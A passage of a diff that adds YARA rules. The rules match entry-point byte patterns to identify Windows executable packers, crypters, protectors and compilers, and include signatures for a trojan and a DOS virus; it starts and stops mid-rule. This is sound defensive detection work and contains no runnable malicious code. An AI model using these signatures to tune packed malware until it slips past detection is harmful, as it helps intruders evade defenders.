+			$a0 = { 9C 60 E8 00 00 00 00 5D 83 ED 07 8D 85 ?? ?? FF FF ?? 38 01 0F 84 ?? 02 00 00 ?? 00 01 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PECompactv25RetailBitsumTechnologies
+	{
+	strings:
+			$a0 = { B8 ?? ?? ?? 01 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule WARNINGTROJANXiaoHui
+	{
+	strings:
+			$a0 = { 60 9C E8 00 00 00 00 5D B8 ?? 85 40 00 2D ?? 85 40 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule NFOv10
+	{
+	strings:
+			$a0 = { 8D 50 12 2B C9 B1 1E 8A 02 34 77 88 02 42 E2 F7 C8 8C }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PMODEWv112116121133DOSextender
+	{
+	strings:
+			$a0 = { FC 16 07 BF ?? ?? 8B F7 57 B9 ?? ?? F3 A5 06 1E 07 1F 5F BE ?? ?? 06 0E A4 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule AaseCrypterbysantasdad
+	{
+	strings:
+			$a0 = { 55 8B EC 83 C4 F0 53 B8 A0 3E 00 10 E8 93 DE FF FF 68 F8 42 00 10 E8 79 DF FF FF 68 00 43 00 10 68 0C 43 00 10 E8 42 DF FF FF 50 E8 44 DF FF FF A3 98 66 00 10 83 3D 98 66 00 10 00 75 13 6A 00 68 18 43 00 10 68 1C 43 00 10 6A 00 E8 4B DF FF FF 68 2C 43 00 10 68 0C 43 ?? ?? ?? ?? DF FF FF 50 E8 0E DF FF FF A3 94 66 00 10 83 3D 94 66 00 10 00 75 13 6A 00 68 18 43 00 10 68 38 43 00 10 6A 00 E8 15 DF FF FF 68 48 43 00 10 68 0C 43 00 10 E8 D6 DE FF FF 50 E8 D8 DE FF FF A3 A0 66 00 10 83 3D A0 66 00 10 00 75 13 6A 00 68 18 43 00 10 68 58 43 00 10 6A 00 E8 DF DE FF FF 68 6C 43 00 10 68 0C 43 00 10 E8 A0 DE FF FF 50 E8 A2 DE FF FF }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule aPackv098bJibz
+	{
+	strings:
+			$a0 = { 93 07 1F 05 ?? ?? 8E D0 BC ?? ?? EA }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule UPackv011Dwing
+	{
+	strings:
+			$a0 = { BE 48 01 40 00 AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 04 F3 AB C1 E0 0A B5 1C F3 AB AD 50 97 51 AD 87 F5 58 8D 54 86 5C FF D5 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 03 B3 00 8D 1C 5B 8D 9C 9E 0C 10 00 00 B0 01 67 E3 29 8B D7 }
+
+	condition:
+			$a0
+	}
+	rule NsPacKNetLiuXingPing
+	{
+	strings:
+			$a0 = { 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 BB 01 47 65 74 53 79 73 74 65 6D 49 6E 66 6F 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 5E 00 5F 43 6F 72 ?? ?? ?? 4D 61 69 6E 00 6D 73 63 6F 72 65 65 2E 64 6C 6C }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule PseudoSigner02PENightMare2BetaAnorganix
+	{
+	strings:
+			$a0 = { 60 E9 10 00 00 00 EF 40 03 A7 07 8F 07 1C 37 5D 43 A7 04 B9 2C 3A }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner01MicrosoftVisualC60DebugVersionAnorganix
+	{
+	strings:
+			$a0 = { 55 8B EC 51 90 90 90 01 01 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule DJoinv07publicRC4encryptiondrmist
+	{
+	strings:
+			$a0 = { C6 05 ?? ?? 40 00 00 C6 05 ?? ?? 40 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule UPXv103v104
+	{
+	strings:
+			$a0 = { 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 8A 07 72 EB B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 ?? 75 ?? 8B 1E 83 EE FC }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PEDiminisherV01Teraphy
+	{
+	strings:
+			$a0 = { 53 51 52 56 57 55 E8 00 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule WWPACKv305c4ExtrPasswcheckVirshield
+	{
+	strings:
+			$a0 = { 03 05 C0 1A B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ExeGuarderv18Exeiconcom
+	{
+	strings:
+			$a0 = { 55 8B EC 83 C4 D0 53 56 57 8D 75 FC 8B 44 24 30 25 00 00 FF FF 81 38 4D 5A 90 00 74 07 2D 00 10 00 00 EB F1 89 45 FC E8 C8 FF FF FF 2D B2 04 00 00 89 45 F4 8B 06 8B 40 3C 03 06 8B 40 78 03 06 8B C8 8B 51 20 03 16 8B 59 24 03 1E 89 5D F0 8B 59 1C 03 1E 89 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule codeCrypter031Tibbar
+	{
+	strings:
+			$a0 = { 50 58 53 5B 90 BB ?? ?? ?? 00 FF E3 90 CC CC CC 55 8B EC 5D C3 CC CC CC CC CC CC CC CC CC CC CC }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RLPv073betaap0x
+	{
+	strings:
+			$a0 = { 60 8B DD E8 00 00 00 00 5D 95 32 C0 95 89 9D 80 00 00 00 B8 42 31 40 00 BB 41 30 40 00 2B C3 03 C5 33 D2 8A 10 40 B9 ?? ?? 00 00 8B F9 30 10 8A 10 40 49 75 F8 64 EF 86 3D 30 00 00 0F B9 FF 4B 89 52 5C 4C BD 77 C2 0C CE 88 4E 2D E8 00 00 00 5D 0D DB 5E 56 }
+
+	condition:
+			$a0
+	}
+/*	
+	rule XtremeProtectorv105
+	{
+	strings:
+			$a0 = { E9 ?? ?? 00 00 00 00 00 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+*/	
+	
+	rule PEnguinCryptv10
+	{
+	strings:
+			$a0 = { B8 93 ?? ?? 00 55 50 67 64 FF 36 00 00 67 64 89 26 00 00 BD 4B 48 43 42 B8 04 00 00 00 CC 3C 04 75 04 90 90 C3 90 67 64 8F 06 00 00 58 5D BB 00 00 40 00 33 C9 33 C0 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	rule MetrowerksCodeWarriorDLLv20
+	{
+	strings:
+			$a0 = { 55 89 E5 53 56 57 8B 75 0C 8B 5D 10 83 FE 01 74 05 83 FE 02 75 12 53 56 FF 75 08 E8 6E FF FF FF 09 C0 75 04 31 C0 EB 21 53 56 FF 75 08 E8 ?? ?? ?? ?? 89 C7 09 F6 74 05 83 FE 03 75 0A 53 56 FF 75 08 E8 47 FF FF FF 89 F8 8D 65 F4 5F 5E 5B 5D C2 0C 00 C9 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule PECrc32088ZhouJinYu
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 81 ED B6 A4 45 00 8D BD B0 A4 45 00 81 EF 82 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PECompactv123b3v1241
+	{
+	strings:
+			$a0 = { EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 70 40 90 ?? 90 01 85 9E 70 40 BB ?? D2 08 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Noodlecrypt2rsc
+	{
+	strings:
+			$a0 = { EB 01 9A E8 76 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RLPack120BasicEditionLZMAAp0x
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 9C 0C 00 00 EB 0C 8B 85 98 0C 00 00 89 85 9C 0C 00 00 8D B5 C4 0C 00 00 8D 9D 82 04 00 00 33 FF 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 2D 0C 00 00 89 85 94 0C 00 00 E8 59 01 00 00 EB 20 60 8B 85 9C 0C 00 00 FF B5 94 0C 00 00 FF 34 37 01 04 24 FF 74 37 04 01 04 24 FF D3 61 83 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner01PENightMare2BetaAnorganix
+	{
+	strings:
+			$a0 = { 60 E9 10 00 00 00 EF 40 03 A7 07 8F 07 1C 37 5D 43 A7 04 B9 2C 3A E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule AHTeamEPProtector03fakeXtremeProtector105FEUERRADER
+	{
+	strings:
+			$a0 = { 90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 E8 00 00 00 00 5D 81 00 00 00 00 00 6A 45 E8 A3 00 00 00 68 00 00 00 00 E8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RLPackv118BasicDLLLZMAAp0x
+	{
+	strings:
+			$a0 = { 80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 21 0B 00 00 8D 9D FF 02 00 00 33 FF E8 9F 01 00 00 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 AA 0A 00 00 89 85 F9 0A 00 00 EB 14 60 FF B5 F9 0A }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	rule CrypKeyv5v6
+	{
+	strings:
+			$a0 = { E8 ?? ?? ?? ?? 58 83 E8 05 50 5F 57 8B F7 81 EF ?? ?? ?? ?? 83 C6 39 BA ?? ?? ?? ?? 8B DF B9 0B ?? ?? ?? 8B 06 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule InnoSetupModulev109a
+	{
+	strings:
+			$a0 = { 55 8B EC 83 C4 C0 53 56 57 33 C0 89 45 F0 89 45 C4 89 45 C0 E8 A7 7F FF FF E8 FA 92 FF FF E8 F1 B3 FF FF 33 C0 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ObsidiumV1300ObsidiumSoftware
+	{
+	strings:
+			$a0 = { EB 04 ?? ?? ?? ?? E8 29 00 00 00 }
+	$a1 = { EB 04 ?? ?? ?? ?? E8 ?? 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	rule PCryptv351
+	{
+	strings:
+			$a0 = { 50 43 52 59 50 54 FF 76 33 2E 35 31 00 E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ThinstallEmbedded2312Jitit
+	{
+	strings:
+			$a0 = { 6A 00 FF 15 ?? ?? ?? ?? E8 D4 F8 FF FF E9 E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41 14 80 00 00 00 C2 04 00 55 8B EC 53 56 57 33 C0 33 FF 39 45 0C 8B F1 76 0C 8B 4D 08 03 3C 81 40 3B 45 0C 72 F4 8B CE E8 43 00 00 00 8B 46 14 33 D2 F7 F7 8B 5E 10 33 D2 8B F8 8B C3 F7 F7 89 7E 18 89 45 0C 33 C0 33 C9 8B 55 08 03 0C 82 40 39 4D 0C 73 F4 48 8B 14 82 2B CA 0F AF CF 2B D9 0F AF FA 89 7E 14 89 5E 10 5F 5E 5B 5D C2 08 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule WWPACKv305c4Extractable
+	{
+	strings:
+			$a0 = { 03 05 00 1A B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule RLPackAp0x
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 2C 0A 00 00 8D 9D 22 02 00 00 33 FF E8 83 01 00 00 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 CD 09 00 00 89 85 14 0A 00 00 EB 14 60 FF B5 14 0A }
+	$a1 = { 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 5A 0A 00 00 8D 9D 40 02 00 00 33 FF E8 83 01 00 00 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 EB 09 00 00 89 85 3A 0A 00 00 EB 14 60 FF B5 3A 0A }
+	$a2 = { 60 E8 00 00 00 00 8B 2C 24 83 C4 04 EB 03 0C 00 00 EB 03 0C 00 00 8D B5 CB 22 00 00 8D 9D F0 02 00 00 33 FF E8 47 02 00 00 EB 03 15 00 00 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 9B 0A }
+	$a3 = { 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 2C 0A 00 00 8D 9D 22 02 00 00 33 FF E8 ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 CD 09 00 00 89 85 ?? ?? ?? ?? EB 14 60 FF B5 14 0A }
+	$a4 = { 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 5A 0A 00 00 8D 9D 40 02 00 00 33 FF E8 ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 EB 09 00 00 89 85 ?? ?? ?? ?? EB 14 60 FF B5 3A 0A }
+	$a5 = { 60 E8 00 00 00 00 8B 2C 24 83 C4 04 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 8D B5 CB 22 00 00 8D 9D F0 02 00 00 33 FF E8 ?? ?? ?? ?? EB 03 ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 9B 0A }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point) or $a2 at (pe.entry_point) or $a3 at (pe.entry_point) or $a4 at (pe.entry_point) or $a5 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner02VOBProtectCD5Anorganix
+	{
+	strings:
+			$a0 = { 36 3E 26 8A C0 60 E8 00 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+		rule PESpinv04x
+	{
+	strings:
+			$a0 = { EB 01 68 60 E8 00 00 00 00 8B }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule PseudoSigner02WatcomCCDLLAnorganix
+	{
+	strings:
+			$a0 = { 53 56 57 55 8B 74 24 14 8B 7C 24 18 8B 6C 24 1C 83 FF 03 0F 87 01 00 00 00 F1 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule yodasCrypter13AshkbizDanehkar
+	{
+	strings:
+			$a0 = { 55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 6C 28 40 00 B9 5D 34 40 00 81 E9 C6 28 40 00 8B D5 81 C2 C6 28 40 00 8D 3A 8B F7 33 C0 EB 04 90 EB 01 C2 AC }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule D1NS1GD1N
+	{
+	strings:
+			$a0 = { 18 37 00 00 00 00 00 00 01 00 0A 00 00 00 18 00 00 80 00 00 00 00 ?? ?? 18 37 00 00 00 00 02 00 00 00 88 00 00 80 38 00 00 80 96 00 00 80 50 00 00 80 00 00 00 00 ?? ?? 18 37 00 00 00 00 00 00 01 00 00 00 00 00 68 00 00 00 00 00 00 00 ?? ?? 18 37 00 00 00 00 00 00 01 00 00 00 00 00 78 00 00 00 B0 F0 00 00 10 00 00 00 00 00 00 00 00 00 00 00 C0 F0 00 00 60 00 00 00 00 00 00 00 00 00 00 00 06 00 44 00 56 00 43 00 4C 00 41 00 4C 00 0B 00 50 00 41 00 43 00 4B 00 41 00 47 00 45 00 49 00 4E 00 46 00 4F 00 00 00 00 00 00 00 00 00 00 00 00 00 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule FSGv110EngdulekxtMicrosoftVisualC6070ASM
+	{
+	strings:
+			$a0 = { E8 01 00 00 00 5A 5E E8 02 00 00 00 BA DD 5E 03 F2 EB 01 64 BB 80 ?? ?? 00 8B FA EB 01 A8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule ASPackv102aAlexeySolodovnikov
+	{
+	strings:
+			$a0 = { 60 E8 ?? ?? ?? ?? 5D 81 ED 3E D9 43 ?? B8 38 ?? ?? ?? 03 C5 2B 85 0B DE 43 ?? 89 85 17 DE 43 ?? 80 BD 01 DE 43 ?? ?? 75 15 FE 85 01 DE 43 ?? E8 1D ?? ?? ?? E8 79 02 ?? ?? E8 12 03 ?? ?? 8B 85 03 DE 43 ?? 03 85 17 DE 43 ?? 89 44 24 1C 61 FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner01MinGWGCC2xAnorganix
+	{
+	strings:
+			$a0 = { 55 89 E5 E8 02 00 00 00 C9 C3 90 90 45 58 45 E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Armadillov253
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 40 ?? ?? ?? 68 54 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 58 ?? ?? ?? 33 D2 8A D4 89 15 EC }
+	$a1 = { 55 8B EC 6A FF 68 ?? ?? ?? ?? 40 ?? ?? ?? ?? 68 54 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF ?? ?? ?? 15 58 33 D2 8A D4 89 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	rule Armadillov252
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 ?? ?? ?? ?? E0 ?? ?? ?? ?? 68 D4 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF ?? ?? ?? 15 38 }
+	$a1 = { 55 8B EC 6A FF 68 E0 ?? ?? ?? 68 D4 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 38 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule Armadillov251
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 B8 ?? ?? ?? 68 D0 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 20 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Armadillov250
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 B8 ?? ?? ?? 68 F8 ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 20 ?? ?? ?? 33 D2 8A D4 89 15 D0 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Obsidium1331ObsidiumSoftware
+	{
+	strings:
+			$a0 = { EB 01 ?? E8 29 00 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 02 ?? ?? 50 EB 01 ?? 33 C0 EB 04 ?? ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 01 ?? EB 04 ?? ?? ?? ?? 58 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 02 ?? ?? E8 5F 27 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule CExev10a
+	{
+	strings:
+			$a0 = { 55 8B EC 81 EC 0C 02 ?? ?? 56 BE 04 01 ?? ?? 8D 85 F8 FE FF FF 56 50 6A ?? FF 15 54 10 40 ?? 8A 8D F8 FE FF FF 33 D2 84 C9 8D 85 F8 FE FF FF 74 16 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule DIETv144v145f
+	{
+	strings:
+			$a0 = { F8 9C 06 1E 57 56 52 51 53 50 0E FC 8C C8 BA ?? ?? 03 D0 52 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PECompactv098
+	{
+	strings:
+			$a0 = { EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB D7 84 40 ?? 87 DD 8B 85 5C 85 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PECompactv099
+	{
+	strings:
+			$a0 = { EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 2F 85 40 ?? 87 DD 8B 85 B4 85 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule NsPacKV30LiuXingPing
+	{
+	strings:
+			$a0 = { 9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? ?? ?? 66 8B 06 66 83 F8 00 74 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FSGv110EngdulekxtMicrosoftVisualBasic5060
+	{
+	strings:
+			$a0 = { C1 CB 10 EB 01 0F B9 03 74 F6 EE 0F B6 D3 8D 05 83 ?? ?? EF 80 F3 F6 2B C1 EB 01 DE 68 77 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PECompactv090
+	{
+	strings:
+			$a0 = { EB 06 68 ?? ?? 40 00 C3 9C 60 BD ?? ?? 00 00 B9 02 00 00 00 B0 90 8D BD 7A 42 40 00 F3 AA 01 AD D9 43 40 00 FF B5 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PECompactv092
+	{
+	strings:
+			$a0 = { EB 06 68 ?? ?? ?? ?? C3 9C 60 BD ?? ?? ?? ?? B9 02 ?? ?? ?? B0 90 8D BD A5 4F 40 ?? F3 AA 01 AD 04 51 40 ?? FF B5 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PECompactv094
+	{
+	strings:
+			$a0 = { EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 ?? ?? ?? ?? 5D 55 58 81 ED ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 01 85 ?? ?? ?? ?? 50 B9 02 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PeX099bartCrackPl
+	{
+	strings:
+			$a0 = { E9 F5 ?? ?? ?? 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ObsidiumV1304ObsidiumSoftware
+	{
+	strings:
+			$a0 = { EB 02 ?? ?? E8 ?? 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SoftwareCompressv14LITEBGSoftwareProtectTechnologies
+	{
+	strings:
+			$a0 = { E8 00 00 00 00 81 2C 24 AA 1A 41 00 5D E8 00 00 00 00 83 2C 24 6E 8B 85 5D 1A 41 00 29 04 24 8B 04 24 89 85 5D 1A 41 00 58 8B 85 5D 1A 41 00 8B 50 3C 03 D0 8B 92 80 00 00 00 03 D0 8B 4A 58 89 8D 49 1A 41 00 8B 4A 5C 89 8D 4D 1A 41 00 8B 4A 60 89 8D 55 1A }
+	$a1 = { E8 00 00 00 00 81 2C 24 AA 1A 41 00 5D E8 00 00 00 00 83 2C 24 6E 8B 85 5D 1A 41 00 29 04 24 8B 04 24 89 85 5D 1A 41 00 58 8B 85 5D 1A 41 00 8B 50 3C 03 D0 8B 92 80 00 00 00 03 D0 8B 4A 58 89 8D 49 1A 41 00 8B 4A 5C 89 8D 4D 1A 41 00 8B 4A 60 89 8D 55 1A 41 00 8B 4A 64 89 8D 51 1A 41 00 8B 4A 74 89 8D 59 1A 41 00 68 00 20 00 00 E8 D2 00 00 00 50 8D 8D 00 1C 41 00 50 51 E8 1B 00 00 00 83 C4 08 58 8D 78 74 8D B5 49 1A 41 00 B9 18 00 00 00 F3 A4 05 A4 00 00 00 50 C3 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3 2B 7C 24 28 89 7C 24 1C 61 C3 60 FF 74 24 24 6A 40 FF 95 4D 1A 41 00 89 44 24 1C 61 C2 04 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	rule FixupPakv120
+	{
+	strings:
+			$a0 = { 55 E8 00 00 00 00 5D 81 ED ?? ?? 00 00 BE 00 ?? 00 00 03 F5 BA 00 00 ?? ?? 2B D5 8B DD 33 C0 AC 3C 00 74 3D 3C 01 74 0E 3C 02 74 0E 3C 03 74 0D 03 D8 29 13 EB E7 66 AD EB F6 AD EB F3 AC 0F B6 C8 3C 00 74 06 3C 01 74 09 EB 0A 66 AD 0F B7 C8 EB 03 AD 8B C8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ARCSFXArchive
+	{
+	strings:
+			$a0 = { 8C C8 8C DB 8E D8 8E C0 89 ?? ?? ?? 2B C3 A3 ?? ?? 89 ?? ?? ?? BE ?? ?? B9 ?? ?? BF ?? ?? BA ?? ?? FC AC 32 C2 8A D8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule MoleBoxv230Teggo
+	{
+	strings:
+			$a0 = { 42 04 E8 ?? ?? 00 00 A3 ?? ?? ?? 00 8B 4D F0 8B 11 89 15 ?? ?? ?? 00 ?? 45 FC A3 ?? ?? ?? 00 5F 5E 8B E5 5D C3 CC CC CC CC CC CC CC CC CC CC CC E8 EB FB FF FF 58 E8 ?? 07 00 00 58 89 44 24 20 61 58 FF D0 E8 ?? ?? 00 00 CC CC CC CC CC CC CC }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule VxIgor
+	{
+	strings:
+			$a0 = { 1E B8 CD 7B CD 21 81 FB CD 7B 75 03 E9 87 00 33 DB 0E 1F 8C }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FACRYPTv10
+	{
+	strings:
+			$a0 = { B9 ?? ?? B3 ?? 33 D2 BE ?? ?? 8B FE AC 32 C3 AA 49 43 32 E4 03 D0 E3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner01WATCOMCCEXEAnorganix
+	{
+	strings:
+			$a0 = { E9 00 00 00 00 90 90 90 90 57 41 E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RLPackV115V117aPlib043ap0x
+	{
+	strings:
